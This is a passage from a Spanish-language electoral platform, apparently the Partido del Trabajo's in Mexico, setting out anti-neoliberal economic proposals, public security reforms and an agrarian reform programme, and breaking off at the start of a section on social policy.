Estados Unidos, y a otros los ha condenado a la econom\u00eda informal.<\/p>\n<p>Actualmente contamos con menos capacidad productiva y financiera que la que se ten\u00eda antes de establecerse las pol\u00edticas neoliberales. Los niveles de vida de los trabajadores y desempleados han empeorado, acentu\u00e1ndose el n\u00famero de pobres en el pa\u00eds. Los sectores vinculados a las empresas transnacionales y al capital financiero ven incrementarse sus ingresos y riqueza, mientras la gran mayor\u00eda se ha empobrecido. El pa\u00eds cuenta con recursos productivos y financieros, pero en gran medida han dejado de ser controlados por nacionales.<\/p>\n<p>El Partido del Trabajo sostiene que no podemos continuar con una pol\u00edtica econ\u00f3mica neoliberal que privilegia al capital financiero internacional y que descuida y desatiende las demandas nacionales de los productores del sector industrial y agr\u00edcola, as\u00ed como las demandas de empleo, salarios mejor remunerados y de bienestar social. Menos a\u00fan ahora que nos encontramos en plena crisis econ\u00f3mica mundial. No se puede dejar la econom\u00eda a las fuerzas del libre mercado. No se puede seguir dependiendo del contexto internacional ni de los mercados de capitales. No se puede seguir con pol\u00edticas que est\u00e1n profundizando los rezagos productivos y postergando las bases materiales para el crecimiento sostenido. No se puede seguir vendiendo el pa\u00eds para promover la entrada de capitales y as\u00ed financiar los desequilibrios externos y alcanzar baja inflaci\u00f3n.<\/p>\n<p>Tenemos que iniciar ya la construcci\u00f3n e instrumentaci\u00f3n de un Nuevo Proyecto de Naci\u00f3n, y la aplicaci\u00f3n de pol\u00edticas monetaria, crediticia, fiscal, comercial y cambiaria indispensables para reactivar la econom\u00eda, incrementar el empleo productivo bien remunerado, erradicar la pobreza y las grandes desigualdades productivas, sectoriales, regionales y de ingreso. Con base en lo anterior, el Partido del Trabajo propone una pol\u00edtica econ\u00f3mica orientada a conseguir estos objetivos fundamentales:<\/p>\n<p><strong>1. Reorientar el rumbo econ\u00f3mico nacional. <\/strong>El pa\u00eds demanda una estrategia de desarrollo econ\u00f3mico sostenido y autosustentable. El rumbo de la econom\u00eda nacional debe ser determinado por la mayor\u00eda de las y los mexicanos, en un contexto de decisiones democr\u00e1ticas orientadas a satisfacer nuestras necesidades y no las del capital Planteamos rescatar la soberan\u00eda nacional. Que la pol\u00edtica econ\u00f3mica sirva a la gran mayor\u00eda y no est\u00e9 en beneficio de unos cuantos. Planteamos recuperar el uso de los diferentes instrumentos de la pol\u00edtica econ\u00f3mica para garantizar las condiciones productivas, financieras y macroecon\u00f3micas que garanticen los objetivos nacionales, y que \u00e9stas pol\u00edticas a su vez redistribuyan y transfieran el ingreso de donde se encuentra disponible hacia los sectores que carecen de \u00e9l y lo necesitan para impulsar din\u00e1micas econ\u00f3micas m\u00e1s equilibradas regional, sectorial y socialmente. Esto es m\u00e1s urgente hoy en d\u00eda.<\/p>\n<p><strong>2. Atenci\u00f3n prioritaria a los sectores m\u00e1s afectados o excluidos por las pol\u00edticas neoliberales. <\/strong>El compromiso irrenunciable del Partido del Trabajo es con los m\u00e1s pobres, pero tambi\u00e9n con quienes han sido excluidos o han visto deteriorado su ingreso y su patrimonio como consecuencia de la apertura comercial indiscriminada y falta de pol\u00edticas de fomento econ\u00f3mico.<\/p>\n<p>Para reorientar e impulsar el desarrollo econ\u00f3mico y social en favor de las grandes mayor\u00edas es indispensable desechar el modelo y las pol\u00edticas econ\u00f3mica y social neoliberales. En lugar de seguir favoreciendo al capital financiero y especulativo, debemos enfocarnos en el crecimiento de la econom\u00eda y del empleo productivos y en la distribuci\u00f3n m\u00e1s equitativa del ingreso. En esa direcci\u00f3n, proponemos redefinir nuestra inserci\u00f3n en la globalizaci\u00f3n para establecer con el exterior tratados y acuerdos comerciales, productivos, financieros y tecnol\u00f3gicos m\u00e1s favorables para nuestro pa\u00eds. Para renegociar nuestras relaciones econ\u00f3micas con el exterior debemos partir de posiciones de fuerza que s\u00f3lo se alcanzan a trav\u00e9s de la participaci\u00f3n democr\u00e1tica de toda la sociedad, sustentados en grandes acuerdos y consensos nacionales que antepongan los intereses nacionales a los del gran capital nacional e internacional.<\/p>\n<p><strong>3. Estado democr\u00e1tico en favor de las demandas nacionales. <\/strong>El Poder Ejecutivo, el Congreso de la Uni\u00f3n y el Poder Judicial, y dem\u00e1s instituciones p\u00fablicas deben responder a las necesidades nacionales y no a las presiones y demandas del gran capital nacional e internacional. La pol\u00edtica econ\u00f3mica no debe ser determinada ni aprobada por los organismos financieros internacionales, sino debe encaminarse a superar los problemas del pa\u00eds, a impulsar el desarrollo nacional, a erradicar la pobreza y disminuir las diferencias existentes en relaci\u00f3n a los pa\u00edses desarrollados.\u00a0<\/p>\n<p>Los derechos humanos, el derecho a la educaci\u00f3n, al trabajo, a la salud, a la alimentaci\u00f3n, al cr\u00e9dito, han sido violentados por las pol\u00edticas neoliberales. Haber dejado la din\u00e1mica econ\u00f3mica a las fuerzas del libre mercado nos ha llevado a mayores desequilibrios productivos, del sector externo, a procesos de descapitalizaci\u00f3n de la esfera productiva, a restricciones crediticias, a mayor desempleo y pobreza de m\u00e1s de la mitad de la poblaci\u00f3n. Para satisfacer las necesidades y demandas de las grandes mayor\u00edas marginadas y excluidas del pa\u00eds es preciso establecer pol\u00edticas de Estado de nuevo tipo, que pongan en el centro los objetivos nacionales y de las grandes mayor\u00edas frente a los intereses externos y de una elite nacional que ha actuado en perjuicio del Proyecto de Naci\u00f3n.<\/p>\n<p><strong>5. Restablecer la rector\u00eda econ\u00f3mica del Estado. <\/strong>El mercado es incapaz de configurar condiciones de crecimiento sostenido, equitativo y soberano. Se requiere de la intervenci\u00f3n inteligente y firme del Estado, para enfrentar los efectos sobre M\u00e9xico de la crisis mundial y coordinar las acciones del sector privado y p\u00fablico en torno a crear las condiciones productivas, financieras y macroecon\u00f3micas para el crecimiento sostenido, equitativo y soberano. El Estado debe jugar un papel importante en regular la actividad econ\u00f3mica para que \u00e9sta responda a la satisfacci\u00f3n de las necesidades de bienestar de las grandes mayor\u00edas.<\/p>\n<p>El Partido del Trabajo propone la adopci\u00f3n urgente de pol\u00edticas crediticia, industrial, agr\u00edcola y comercial orientadas a resguardar y fortalecer el aparato productivo nacional en el actual contexto de crisis mundial, y que generen efectos multiplicadores sobre el empleo, el ingreso y el ahorro, y reduzcan las presiones sobre el sector externo. Es obligaci\u00f3n indeclinable del Estado atender y satisfacer las demandas sociales de salud, educaci\u00f3n y vivienda, as\u00ed como asegurar las condiciones de crecimiento sostenido y de pleno empleo para que todos los sectores de la poblaci\u00f3n sean incluidos en el Proyecto Nacional. Lo anterior s\u00f3lo se puede lograr bajo la rector\u00eda econ\u00f3mica efectiva del Estado, y no discursiva como ocurre actualmente.<\/p>\n<p><strong>La Plataforma Econ\u00f3mica del Partido del Trabajo propone la reorientaci\u00f3n de la estrategia de desarrollo nacional y de la pol\u00edtica econ\u00f3mica, orientadas a:<\/strong><\/p>\n<p><strong>A) Recuperar el control estatal de sectores estrat\u00e9gicos y de la infraestructura b\u00e1sica, y asegurar su desarrollo. <\/strong>El desarrollo de los sectores estrat\u00e9gicos (incluida la banca) y de la infraestructura b\u00e1sica debe ser dirigido por el Estado.<\/p>\n<p><strong>B) Priorizar la asignaci\u00f3n de recursos a la esfera productiva y a la generaci\u00f3n de empleo, de manera que se configuren bases s\u00f3lidas para el crecimiento econ\u00f3mico y el desarrollo nacional.<\/strong><\/p>\n<p><strong>C)Fomentar el desarrollo tecnol\u00f3gico y de la productividad, el combate a las pr\u00e1cticas especulativas, el fortalecimiento de la econom\u00eda formal, y con ello reducir las desigualdades en la distribuci\u00f3n del ingreso.<\/strong><\/p>\n<p><strong>D) Reducci\u00f3n de la inflaci\u00f3n sin comprometer los objetivos de crecimiento, redistribuci\u00f3n del ingreso y soberan\u00eda nacional.<\/strong> Proponemos sustentar sobre bases productivas y financieras internas la reducci\u00f3n de la inflaci\u00f3n y el crecimiento econ\u00f3mico, ello exige replantear la pol\u00edtica econ\u00f3mica neoliberal vigente.<\/p>\n<p><strong>E) Una pol\u00edtica salarial que reajuste al alza los salarios, no en torno a la inflaci\u00f3n prevista que siempre resulta menor a la verificada, sino en funci\u00f3n de la inflaci\u00f3n pasada y del crecimiento de la productividad.<\/strong><\/p>\n<p><strong>F) Estabilidad del tipo de cambio con base en la reducci\u00f3n del d\u00e9ficit y el fortalecimiento del sector externo<\/strong>. Para ello proponemos la revisi\u00f3n de la apertura comercial, promover la sustituci\u00f3n de importaciones, el crecimiento de las exportaciones y la renegociar la deuda externa.<\/p>\n<p><strong>G) Distribuci\u00f3n del ingreso sustentada en un modelo de desarrollo eficiente y equitativo, con un alto efecto multiplicador interno en favor del empleo y de insumos nacionales, para mejorar las condiciones de vida de la poblaci\u00f3n.<\/strong><\/p>\n<p><strong>5. Colocar al mercado interno como motor del crecimiento. <\/strong>La din\u00e1mica econ\u00f3mica nacional no debe depender del mercado externo, el cual se encuentra contra\u00eddo y adem\u00e1s nos somete a una alta vulnerabilidad, sobre todo en el actual contexto de crisis mundial. Proponemos que sea el mercado interno el motor del crecimiento, sustentado en la producci\u00f3n de bienes de consumo generalizado, con altos efectos multiplicadores internos. Ello requiere la expansi\u00f3n del gasto p\u00fablico, multiplicar el empleo y aumentar los salarios reales, as\u00ed como mejorar la distribuci\u00f3n del ingreso a favor de los sectores m\u00e1s despose\u00eddos de la sociedad para incentivar la demanda efectiva interna. Para que el crecimiento del mercado interno genere una din\u00e1mica sostenida en la econom\u00eda se precisa que la demanda tenga un gran componente nacional, y esto se exprese en efectos multiplicadores internos.<\/p>\n<p><strong>6. Retomar la pol\u00edtica industrial para reconstruir y desarrollar las cadenas productivas. <\/strong>Es importante reconstruir las cadenas productivas e impulsar el proceso de sustituci\u00f3n de importaciones. Esto requiere instrumentar pol\u00edticas industriales, acompa\u00f1adas de pol\u00edticas crediticias, de subsidios, y de fortalecimiento del mercado interno.<\/p>\n<p><strong>7. Capitalizar y desarrollar el sector agropecuario mexicano.<\/strong> Proponemos impulsar el sector agropecuario para que abastezca el crecimiento de la demanda interna, disminuya importaciones y genere excedentes susceptibles de ser exportados para la obtenci\u00f3n de divisas necesarias para el crecimiento sostenido de la econom\u00eda. La recuperaci\u00f3n de la din\u00e1mica agr\u00edcola requiere de financiamiento barato, del crecimiento del mercado interno, de pol\u00edticas de subsidios, as\u00ed como de una pol\u00edtica proteccionista, que evite que las importaciones desplacen a la producci\u00f3n nacional en nuestro mercado.<\/p>\n<p><strong>8. Pol\u00edtica fiscal contrac\u00edclica. <\/strong>La pol\u00edtica fiscal no debe subordinarse a los objetivos de la pol\u00edtica monetaria de reducir la inflaci\u00f3n, sino que debe promover el crecimiento, la generaci\u00f3n de empleos y el bienestar social. La pol\u00edtica fiscal debe ser contrac\u00edclica a fin de contrarrestar la ca\u00edda de las exportaciones y as\u00ed frenar la contracci\u00f3n de la actividad econ\u00f3mica. Para recuperar el manejo productivo de la pol\u00edtica fiscal y anteponer el inter\u00e9s nacional, de los productores y de los trabajadores al del capital extranjero, es preciso renegociar la deuda p\u00fablica con los acreedores internos y El incremento del gasto p\u00fablico es indispensable para dinamizar el mercado interno y desempe\u00f1ar as\u00ed un papel contrac\u00edclico frente a los efectos sobre nuestro pa\u00eds de la crisis mundial que sigue en curso. Por ello, en nuestra Plataforma Electoral proponemos que el gobierno incremente el gasto p\u00fablico para defender la econom\u00eda popular, resguardar el aparato productivo nacional y estimular la econom\u00eda nacional.<\/p>\n<p><strong>9. Pol\u00edtica fiscal y la redistribuci\u00f3n del ingreso. <\/strong>La mejor distribuci\u00f3n del ingreso debe ir acompa\u00f1ada de una pol\u00edtica fiscal que grave a los sectores de m\u00e1s altos ingresos y a aquellos que se han favorecido de la pol\u00edtica neoliberal, como el sector financiero y especulativo y los vinculados al comercio exterior. Proponemos, asimismo, la adopci\u00f3n e instrumentaci\u00f3n del impuesto patrimonial, que es un impuesto que grava a quien m\u00e1s tiene sin afectar la inversi\u00f3n y el crecimiento. Dicho impuesto es redistributivo y favorece el crecimiento, pues permitir\u00eda aumentar el gasto p\u00fablico en favor de los m\u00e1s desprotegidos para incrementar la demanda de \u00e9stos, y as\u00ed reactivar la econom\u00eda.<\/p>\n<p><strong>10. Pol\u00edtica monetaria en favor del crecimiento. <\/strong>La pol\u00edtica monetaria debe orientarse a promover el crecimiento sostenido y generalizado de la econom\u00eda, en una perspectiva de reducir la inflaci\u00f3n con base en la productividad. La pol\u00edtica monetaria debe satisfacer los requerimientos de liquidez y financiamiento que demanda la reconstrucci\u00f3n productiva del pa\u00eds. La estabilidad monetaria debe contribuir a crear las condiciones productivas, financieras y macroecon\u00f3micas que compatibilicen una baja inflaci\u00f3n con el crecimiento econ\u00f3mico sostenido, la redistribuci\u00f3n equitativa del ingreso y la soberan\u00eda nacional.<\/p>\n<p><strong>11. Reestructuraci\u00f3n, regulaci\u00f3n y coordinaci\u00f3n del sector bancario y financiero.<\/strong> La Plataforma del Partido del Trabajo propone que el Estado retome su papel rector de la actividad econ\u00f3mica y, por lo tanto, recupere el manejo de la pol\u00edtica monetaria y crediticia, y refuncionalice las instituciones p\u00fablicas de financiamiento para el desarrollo. Proponemos, adem\u00e1s, la reestructuraci\u00f3n del sector financiero. El gobierno debe impulsar no s\u00f3lo la banca de desarrollo, sino tambi\u00e9n debe tener banca comercial para que la banca extranjera no monopolice el sistema de pagos en el pa\u00eds, pues ello le da un control absoluto sobre la pol\u00edtica crediticia y sobre los rumbos de la vida econ\u00f3mica nacional.<\/p>\n<p><strong>12. Revisi\u00f3n de la pol\u00edtica de liberalizaci\u00f3n econ\u00f3mica. <\/strong>La revisi\u00f3n de la apertura comercial es imprescindible para proteger y preservar la planta productiva nacional y el empleo. El movimiento externo de mercanc\u00edas debe ser regulado y controlado por el Estado para evitar pr\u00e1cticas de competencia desleal en detrimento de la producci\u00f3n nacional y de la balanza comercial. Lo mismo debe ocurrir con el movimiento externo de capitales para impedir pr\u00e1cticas especulativas que desquician el funcionamiento del mercado de capitales y el sector bancario, y presionan sobre la tasa de inter\u00e9s y el tipo de cambio.<\/p>\n<p>La inversi\u00f3n extranjera directa debe ser regulada y canalizada a favor de sectores productivos de alto componente nacional y efecto multiplicador interno, que favorezcan el desarrollo tecnol\u00f3gico y la sustituci\u00f3n de importaciones, sobre todo de bienes de capital, y el aumento de las exportaciones con alto valor agregado nacional. Ello es indispensable para reconstruir nuestro desarrollo industrial en una perspectiva de mayor integraci\u00f3n interna y menor vulnerabilidad externa de la econom\u00eda.<\/p>\n<p>Los criterios expuestos en este punto deben considerarse fundamentales en la revisi\u00f3n del TLCAN para mejorar las condiciones y los efectos de \u00e9ste sobre la econom\u00eda mexicana.<\/p>\n<p><strong>13. Replantear las relaciones econ\u00f3micas con Estados Unidos y vincularnos m\u00e1s con pa\u00edses de caracter\u00edsticas econ\u00f3micas similares. <\/strong>El Partido del Trabajo propone que nuestro pa\u00eds vea m\u00e1s hacia Am\u00e9rica Latina y el Caribe y hacia los pa\u00edses asi\u00e1ticos, y no seguir profundizando los v\u00ednculos con Estados Unidos como se ha venido haciendo en las \u00faltimas d\u00e9cadas. Debemos buscar una mayor integraci\u00f3n latinoamericana y caribe\u00f1a para negociar en bloque con Estados Unidos, para anteponer los intereses nacionales y latinoamericanos en toda negociaci\u00f3n comercial y financiera frente a dicho pa\u00eds.<\/p>\n<p><strong>14. Configurar una correlaci\u00f3n de fuerzas favorable para la construcci\u00f3n de un Nuevo Proyecto de Naci\u00f3n. <\/strong>Construir e instrumentar un Nuevo Proyecto de Naci\u00f3n en el actual proceso de globalizaci\u00f3n y de crisis mundial exige cambiar la actual correlaci\u00f3n de fuerzas nacional e internacional. Para realizar los cambios estructurales, sectoriales y de pol\u00edticas p\u00fablicas antes expuestos, se requiere que los productores y trabajadores industriales, agr\u00edcolas y de servicios se movilicen y tengan una participaci\u00f3n activa, porque s\u00f3lo as\u00ed se lograr\u00e1 la adopci\u00f3n e instrumentaci\u00f3n de las medidas que favorezcan el desarrollo nacional y el bienestar social. Se requiere de la unidad nacional, sobre todo de los sectores excluidos por el modelo y las pol\u00edticas neoliberales, que son la gran mayor\u00eda, para cambiar la correlaci\u00f3n de fuerzas predominante en el pa\u00eds.<\/p>\n<p>La propuesta del Partido del Trabajo est\u00e1 encaminada a configurar acuerdos nacionales con otros partidos y fuerzas pol\u00edticas y con los m\u00e1s amplios sectores de la sociedad para que juntos cambiemos la correlaci\u00f3n de fuerzas, y as\u00ed podamos establecer un Nuevo Proyecto Nacional democr\u00e1tico y con equidad econ\u00f3mica y social.<\/p>\n<p><strong>15. Democratizaci\u00f3n de la toma de decisiones y supervisi\u00f3n y transparencia del cumplimiento de los objetivos nacionales. <\/strong>El Partido del Trabajo se pronuncia por la participaci\u00f3n de la ciudadan\u00eda y de organizaciones sociales en el control y supervisi\u00f3n de las actividades de las instituciones p\u00fablicas y de las grandes empresas y sectores estrat\u00e9gicos, sean p\u00fablicos o privados, con el fin de combatir la corrupci\u00f3n, garantizar la transparencia de sus acciones y funciones, y asegurar el cumplimiento de los objetivos nacionales.<\/p>\n<p>La premisa de la cual partimos es el avance de la democracia en todos los planos de la vida nacional, lo que demanda la apertura de los medios de comunicaci\u00f3n al debate de las ideas y proyectos, cuesti\u00f3n indispensable para la informaci\u00f3n y deliberaci\u00f3n de las y los ciudadanos. S\u00f3lo as\u00ed las grandes mayor\u00edas podr\u00e1n anteponer un Nuevo Proyecto de Naci\u00f3n a quienes hoy detentan el poder econ\u00f3mico y pol\u00edtico, y frenar y revertir la inercia desnacionalizadora, de descapitalizaci\u00f3n productiva y de extensi\u00f3n y profundizaci\u00f3n de la pobreza en que se encuentra M\u00e9xico.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tIV.\tSeguridad p\u00fablica\t\t\t\t\t<\/p>\n<p>Una de las demandas m\u00e1s sentidas de la poblaci\u00f3n es la que se refiere a la seguridad p\u00fablica. La delincuencia, inseguridad y violencia son problemas que han crecido exponencialmente y afectan pr\u00e1cticamente a toda la poblaci\u00f3n del pa\u00eds. Desde hace varios a\u00f1os las sucesivas encuestas en relaci\u00f3n a los principales problemas nacionales sit\u00faan la seguridad p\u00fablica, junto con la econom\u00eda, en los dos primeros lugares. No debe sorprender a nadie, porque una mala econom\u00eda inevitablemente genera delincuencia; y \u00e9sta inhibe el funcionamiento normal de la econom\u00eda. Se trata de un creciente c\u00edrculo vicioso. Inclusive, comparativamente hablando, estamos dentro de los pa\u00edses con los \u00edndices m\u00e1s altos de delincuencia a nivel mundial.<\/p>\n<p>A esos dos graves problemas se han agregado en los a\u00f1os recientes otro par de problemas que resurgieron con la restauraci\u00f3n del viejo \u201cr\u00e9gimen de partido casi \u00fanico de Estado\u201d: la corrupci\u00f3n y la impunidad. Esto ha ampliado y recrudecido a lo largo y ancho del pa\u00eds la debilidad de la seguridad p\u00fablica. La imposibilidad de resolver estos problemas en el corto plazo, adem\u00e1s de la falta de voluntad pol\u00edtica gubernamental y la ausencia de estrategias para hacerlo, condenan a la mayor\u00eda de la poblaci\u00f3n a la perspectiva de un crecimiento incesante de la inseguridad, delincuencia, narcotr\u00e1fico, crimen organizado, violencia, desapariciones forzadas, homicidios dolosos, descomposici\u00f3n del tejido social y la desesperanza.<\/p>\n<p>La sociedad mexicana se ve agraviada por la constante comisi\u00f3n de delitos de todo tipo, sin importar que estos sean del Fuero Federal o del Fuero Com\u00fan. La respuesta de la autoridad ha sido ineficaz e ineficiente. Seg\u00fan datos oficiales, del cien por ciento de delitos cometidos al menos el noventa por ciento no son perseguidos y del restante diez por ciento s\u00f3lo un cuatro por ciento concluye con sentencias condenatorias en primera instancia, que posteriormente pueden ser modificadas v\u00eda apelaci\u00f3n o amparo que benefician a los delincuentes y que los deja en libertad. La cruda realidad asume la forma de un \u201cEstado fallido\u201d, que en innumerables y sucesivas veces se transfigura en \u201cEstado delincuencial\u201d por acci\u00f3n u omisi\u00f3n.<\/p>\n<p>En nuestro pa\u00eds se ha configurado una tipolog\u00eda delictiva que sustenta y alimenta el grave deterioro que tenemos en la seguridad p\u00fablica:<\/p>\n<ul>\n<li>Los delitos que derivan directamente de la crisis econ\u00f3mica y social que hemos vivido en las d\u00e9cadas recientes, que se cometen por hambre e ignorancia.<\/li>\n<li>Los delitos que comete el delincuente individual como oficio o <em>modus vivendi<\/em>.<\/li>\n<li>Los delitos realizados por las diferentes modalidades del crimen organizado.<\/li>\n<li>Los delitos cometidos por funcionarios p\u00fablicos.<\/li>\n<\/ul>\n<p>Es pertinente destacar que la seguridad p\u00fablica es una funci\u00f3n a cargo del Estado que tiene como fines salvaguardar la integridad y derechos de las personas, as\u00ed como preservar las libertades, el orden y la paz p\u00fablica. En consecuencia, la obligaci\u00f3n del Estado es la de salvaguardar la integridad de los gobernados y de mantener sus libertades. Sin embargo, es evidente que esta obligaci\u00f3n no ha sido cumplida debidamente por el Poder P\u00fablico.<\/p>\n<p>Con base en las consideraciones anteriores, el Partido del Trabajo propone revisar ampliamente y a fondo el sistema, las estructuras, el marco legislativo y los instrumentos de la seguridad p\u00fablica y de la procuraci\u00f3n e impartici\u00f3n de justicia.<\/p>\n<p>Para poder atender de manera eficaz el problema de la seguridad p\u00fablica, el Partido del Trabajo propone una revisi\u00f3n exhaustiva de la actividad del gobierno en el combate a la delincuencia, particularmente en estos aspectos:<\/p>\n<ul>\n<li>Prevenci\u00f3n del delito<\/li>\n<li>Procuraci\u00f3n de Justicia en las fases de averiguaci\u00f3n previa y proceso penal<\/li>\n<li>Garant\u00eda a v\u00edctimas de la reparaci\u00f3n del da\u00f1o<\/li>\n<li>Actuaci\u00f3n de los \u00f3rganos jurisdiccionales<\/li>\n<li>Revisi\u00f3n de las etapas del sistema penal acusatorio<\/li>\n<\/ul>\n<p>Entre las distintas leyes que nos proponemos revisar se encuentran la\u00a0 Ley Federal de Readaptaci\u00f3n Social, Constituci\u00f3n Pol\u00edtica de los Estados Unidos Mexicanos,\u00a0 Ley de la Polic\u00eda Federal Preventiva, la Ley Org\u00e1nica de la Procuradur\u00eda General de la Rep\u00fablica, la Ley Org\u00e1nica del Poder Judicial de la Federaci\u00f3n, la Ley de Amparo, el C\u00f3digo Penal Federal, el C\u00f3digo Federal de Procedimientos Penales y la Ley Federal contra la Delincuencia Organizada, C\u00f3digo Nacional de Procedimientos Penales entre otras de car\u00e1cter penal.<\/p>\n<p>El Partido del Trabajo propone que el Procurador General de la Rep\u00fablica sea designado por la C\u00e1mara de Diputados. Esto, para garantizar la total independencia de quien tiene la responsabilidad de perseguir los delitos del fuero federal, respecto del Presidente de la Rep\u00fablica.<\/p>\n<p>Proponemos un cambio de paradigma en la cultura de la legalidad en este pa\u00eds; que la gente tenga confianza en denunciar porque sepa que se aplicar\u00e1 la justicia. En el mismo sentido, combatir con firmeza los abusos de autoridad.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tV.\tProblem\u00e1tica del campo\t\t\t\t\t<\/p>\n<p>Es alarmante la situaci\u00f3n que prevalece en el campo mexicano. Con una larga historia de abandono, rezago, marginaci\u00f3n y decadencia, que se han agudizado bajo los gobiernos neoliberales de los pasados treinta y cinco a\u00f1os, la crisis estructural del campo mexicano sigue adelante. Se carece de una estrategia integral para hacer frente a esta situaci\u00f3n que afecta a casi la quinta parte de la poblaci\u00f3n total, pero especialmente a las familias campesinas pobres y los pueblos y comunidades ind\u00edgenas. Las pol\u00edticas p\u00fablicas de fomento al crecimiento y desarrollo del actual gobierno muestran poco inter\u00e9s en potenciar al sector e incrementar su participaci\u00f3n en la econom\u00eda nacional.<\/p>\n<p>Desde la imposici\u00f3n del modelo neoliberal en los primeros a\u00f1os ochenta del siglo pasado, se busc\u00f3 desaparecer la econom\u00eda campesina en M\u00e9xico. Las formas de propiedad social en el agro mexicano deb\u00edan dar lugar a reg\u00edmenes mixtos de propiedad privada y social o exclusivamente privados que supuestamente permitieran impulsar la productividad del campo.<\/p>\n<p>En el fondo, la contrarreforma neoliberal al Art\u00edculo 27 Constitucional, lo \u00fanico que pretend\u00eda era privatizar la tierra en M\u00e9xico. La esperada inversi\u00f3n de capitales en la agricultura como resultado de dicha contrarreforma, as\u00ed como la elevaci\u00f3n de la eficiencia y el incremento a la producci\u00f3n de alimentos y materias primas se convirti\u00f3 en realidad s\u00f3lo para unos cuantos productores agropecuarios, y en una amarga quimera para la mayor\u00eda de la poblaci\u00f3n campesina e ind\u00edgena. La modernizaci\u00f3n y el mejoramiento de la vida en el agro nunca lleg\u00f3.<\/p>\n<p>La realidad ha sido absolutamente diferente. Perdimos la autosuficiencia alimentaria. La producci\u00f3n agropecuaria pas\u00f3 a representar s\u00f3lo entre el 5 y 7 por ciento del PIB. Con excepci\u00f3n de la producci\u00f3n de exportaci\u00f3n, la competitividad en la mayor parte del sector est\u00e1 por los suelos. Se observan dos panoramas contrastantes: por un lado, grandes agricultores, exportadores de hortalizas y de frutas, con sistemas de riego, riego por goteo y cr\u00e9dito preferencial; por el otro, una enorme poblaci\u00f3n de campesinos e ind\u00edgenas con tierras ejidales y comunales, empobrecidos y abandonados a su suerte.<\/p>\n<p>La legalizaci\u00f3n del arrendamiento de tierras, y el permitir la asociaci\u00f3n de la propiedad social con grandes agricultores capitalistas, no ha beneficiado en nada a los campesinos. Aunado a lo anterior se han venido presentando una alarmante p\u00e9rdida de biodiversidad, desertificaci\u00f3n y degradaci\u00f3n de la tierra, sin que se haga lo necesario para contener y revertir estos problemas.<\/p>\n<p>El Partido del Trabajo propone como soluci\u00f3n a esta problem\u00e1tica una Reforma Agraria Integral que modernice y haga altamente productiva la econom\u00eda campesina. Es necesario establecer programas de capacitaci\u00f3n y asesor\u00eda; destinar al agro recursos financieros a tasas preferenciales; instituir canales s\u00f3lidos de distribuci\u00f3n y comercializaci\u00f3n de los productos del campo; abatir el rezago agrario y dar seguridad jur\u00eddica a los verdaderos due\u00f1os de la tierra; y establecer medidas de protecci\u00f3n a los productores nacionales ante la desleal competencia externa. En suma, una reforma del Art\u00edculo 27 Constitucional que genere una nueva v\u00eda de desarrollo para el campo mexicano incorporando los contenidos antes enunciados, y sustentada en los siguientes principios:<\/p>\n<ul>\n<li>Democratizaci\u00f3n de la vida rural, desterrando el caciquismo, la corrupci\u00f3n y la apropiaci\u00f3n ilegal del poder pol\u00edtico y del excedente econ\u00f3mico.<\/li>\n<li>Dotar a los campesinos de tierras, ellos deben gozar nuevamente de la tenencia de la tierra porque se han convertido en simples jornaleros agr\u00edcolas, han pasado de ser sujetos a ser objetos dentro del proceso productivo en el campo mexicano.<\/li>\n<li>Restituir y fortalecer la propiedad ejidal y comunal. Es indispensable garantizar el derecho a la tierra a los campesinos ejidatarios y comunidades y pueblos ind\u00edgenas, as\u00ed como a los peque\u00f1os propietarios, dentro de los preceptos constitucionales.<\/li>\n<li>Promover la revisi\u00f3n del Cap\u00edtulo Agropecuario del Tratado de Libre Comercio de Am\u00e9rica del Norte para ajustarlo a condiciones de verdadera equidad y competitividad.<\/li>\n<li>Alentar el desarrollo agropecuario integral, articulando el fomento productivo con la inversi\u00f3n p\u00fablica en infraestructura, incorporaci\u00f3n de tecnolog\u00eda, servicios b\u00e1sicos, educaci\u00f3n y salud, con la apertura de instancias y mecanismos para la participaci\u00f3n comunitaria.<\/li>\n<li>Establecer barreras arancelarias para proteger a los productores nacionales de la desleal competencia extranjera.<\/li>\n<li>Establecer programas eficientes de recuperaci\u00f3n y cuidado del medio ambiente y los recursos naturales explotables, para lograr el desarrollo sustentable a largo plazo.<\/li>\n<li>Impulsar programas ejidales y comunales a trav\u00e9s de un programa nacional de protecci\u00f3n y apoyo al desarrollo de las zonas ejidales y tur\u00edsticas de nuestro pa\u00eds.<\/li>\n<li>Establecer y fomentar canales internos de distribuci\u00f3n y comercializaci\u00f3n de los productos agropecuarios mexicanos, garantizando intercambios justos que favorezcan el sector y la econom\u00eda nacional.<\/li>\n<li>Establecer un Acuerdo Nacional para lograr una Reforma Agraria Social Productiva que tenga como directriz la seguridad y soberan\u00eda alimentaria.<\/li>\n<li>Canalizar cr\u00e9ditos con tasas preferenciales y condiciones favorables a los ejidatarios y medianos y peque\u00f1os productores, a trav\u00e9s de instituciones financieras creadas para tal fin.<\/li>\n<li>Establecer pol\u00edticas y programas productivos que inhiban el \u00e9xodo masivo de los campesinos hacia las ciudades y hacia el extranjero.<\/li>\n<li>Recuperar una adecuada participaci\u00f3n de las instancias gubernamentales en el fomento productivo, evitando incurrir en pr\u00e1cticas burocr\u00e1ticas, de corrupci\u00f3n y de clientelismo pol\u00edtico electoral.<\/li>\n<li>Fortalecer el subsidio a los productores para hacer frente a la competencia externa, y adoptar una pol\u00edtica permanente de concertaci\u00f3n entre el gobierno y los productores del campo.<\/li>\n<li>Promover la modernizaci\u00f3n del agro mexicano, haciendo funcionales las formas de propiedad social existentes.<\/li>\n<li>Mejorar los precios de los combustibles para reducir costos de transporte de insumos y productos del campo.<\/li>\n<\/ul>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tVI.\t\u00c1mbito social\t\t\t\t\t<\/p>\n<p>Lograremos la modernizaci\u00f3n, el progreso y el desarrollo de nuestro pa\u00eds en la medida que resolvamos el atraso, la pobreza, la marginaci\u00f3n y la desigualdad social que existe. En M\u00e9xico m\u00e1s de la mitad de la poblaci\u00f3n vive en condiciones de pobreza, y m\u00e1s de 20 millones de mexicanos viven en extrema pobreza. El neoliberalismo ha mantenido y recrudecido esta situaci\u00f3n. Como efecto de ello, desde hace varios a\u00f1os se viene generando el rompimiento del tejido social, la alteraci\u00f3n persistente y creciente de la paz y la imposibilidad cada d\u00eda mayor del bienestar que tanto necesita M\u00e9xico para su desarrollo.<\/p>\n<p>En el \u00e1mbito y la din\u00e1mica social es donde han repercutido con mayor agudeza los efectos negativos de la crisis econ\u00f3mica mundial y del prolongado estancamiento 